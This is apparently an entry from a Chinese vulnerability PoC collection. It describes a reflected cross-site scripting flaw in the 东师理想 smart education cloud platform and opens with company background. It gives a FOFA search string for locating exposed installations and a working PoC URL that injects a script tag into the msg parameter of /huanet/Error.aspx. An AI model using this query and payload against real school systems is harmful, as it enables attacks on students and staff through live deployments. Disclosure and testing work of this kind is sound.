漏洞描述:
东师理想成立于2001年,与全国现代教育技术培训中心、吉林省教育软件重点实验室等联合建立了研、产、培、用一体化的智慧教育研究与服务平台。现有专职人员610余人,兼职学科专家790余人,其中具有博士学位的37人,硕士学位的347人,具有教授职称的36人(博士生导师15人),从英国、加拿大、美国聘请专家30余人。有1人是国家“互联网+”行动专家咨询委员会成员,有2人是教育部教育信息化专家组成员,有9人是国家课程标准专家组成员。东师理想智慧教育云平台存在反射型XSS漏洞
FOFA:
body="一个让学生热爱学习的APP应用"
漏洞复现
POC:
/huanet/Error.aspx?msg=<script>alert(/1/)</script>